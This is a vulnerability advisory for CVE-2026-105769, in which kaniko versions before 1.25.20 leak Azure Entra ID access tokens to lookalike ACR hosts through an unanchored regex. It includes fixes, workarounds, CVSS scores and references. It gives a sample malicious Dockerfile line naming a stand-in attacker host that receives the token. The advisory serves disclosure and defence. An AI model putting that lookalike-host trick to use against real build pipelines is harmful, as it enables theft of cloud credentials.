CVE-2026-105769
kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.
Fixes and workarounds
Fix
Upgrade to kaniko 1.25.20 or later. The repository publishes no binaries or images, so rebuild the executor, the warmer and docker-credential-acr-env from 1.25.20 or later. Go module consumers should update github.com/chainguard-dev/kaniko to 1.25.20 or later. The fixed version carries a patched copy of the helper under third_party/docker-credential-acr-env that accepts a host only if it is exactly host[:port] and the hostname is mcr.microsoft.com or a well-formed name ending in .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us.
Source: CNA: chainguardWorkaround
Do not let untrusted builds reach an Azure identity: remove Azure credentials, federated tokens, MSI_ENDPOINT and MSI_SECRET from the build environment, and block access to the Instance Metadata Service (169.254.169.254) from build pods. If kaniko's built-in ACR authentication is not needed, set AZURE_ENVIRONMENT to a value that names no Azure cloud (for example AZURE_ENVIRONMENT=none) in the kaniko container. If config.json sets "credsStore": "acr-env", replace it with per-host credHelpers entries for your own ACR registries; on its own this closes only the standalone-binary path. If untrusted Dockerfiles were built with an Azure identity available, treat access tokens issued to that identity during those builds as compromised, review Entra ID sign-in logs and Azure activity logs, and rotate secrets the identity could read through Azure Resource Manager.
Source: CNA: chainguardFix
The reporting source identifies this reference as a patch. Check the advisory for affected versions and supported release branches.
Source: CNA: chainguardFix
github.com/chainguard-dev/kaniko (go): GitHub reports patched versions 1.25.20. Check the advisory for the affected release branch.
Source: GitHub GHSA-5q7h-w9jf-cx97Affected products and versions
| Product | Versions | Authority |
|---|---|---|
| kaniko chainguard github.com/chainguard-dev/kaniko
https://pkg.go.dev |
≥ 0; < 1.25.20 (affected, semver)
Other versions: unaffected |
CNA: chainguard |
github.com/chainguard-dev/kanikogithub.com/chainguard-dev/kaniko
go |
< 1.25.20 (affected, GitHub advisory range) | GitHub GHSA-5q7h-w9jf-cx97 |
Version ranges are source assertions. Check the vendor advisory and your installed configuration before determining exposure.
CVSS assessments
| Version / score | Vector | Authority |
|---|---|---|
| 3.1 / 9.3 critical |
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N | CNA: chainguard |
| 3.1 / 9.3 critical |
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N | NVD: 82cea9a6-e9e3-46fe-bdb0-3673de380178 |
Exploit evidence
No exploit evidence in collected sources. This is not proof of no exploitation.
References
- https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97CNA: chainguard · vendor-advisory
- https://github.com/chainguard-forks/kaniko/pull/495CNA: chainguard · patch
- https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20CNA: chainguard · release-notes
- https://github.com/chrismellard/docker-credential-acr-env/issues/21CNA: chainguard · issue-tracking
- https://pkg.go.dev/vuln/GO-2026-6225CNA: chainguard · third-party-advisory
- https://github.com/chainguard-forks/kaniko/pull/49582cea9a6-e9e3-46fe-bdb0-3673de380178
- https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.2082cea9a6-e9e3-46fe-bdb0-3673de380178
- https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx9782cea9a6-e9e3-46fe-bdb0-3673de380178
- https://github.com/chrismellard/docker-credential-acr-env/issues/2182cea9a6-e9e3-46fe-bdb0-3673de380178
- https://pkg.go.dev/vuln/GO-2026-622582cea9a6-e9e3-46fe-bdb0-3673de380178
- https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97GitHub Security Advisories · advisory
For agents and automation
Read public disclosures for free as Markdown or JSON. Compatible browsers also expose native WebMCP tools to search disclosures, read this page, and discover API access.
Use the ontology-linked Cyber API with x402 pay per request, or a Y2 Pro or Elite API key with the intel:cyber scope.
Endpoints and access details
https://api.y2.dev/api/v2/cyber/cveshttps://api.y2.dev/api/v2/cyber/cves/{cveId}
A workspace owner or admin can create a Pro or Elite API key. Send Authorization: Bearer <Y2_API_KEY> from your trusted agent runtime.
For x402, omit Authorization and read the HTTP 402 payment challenge before signing a retry. Public browser tools do not make payments.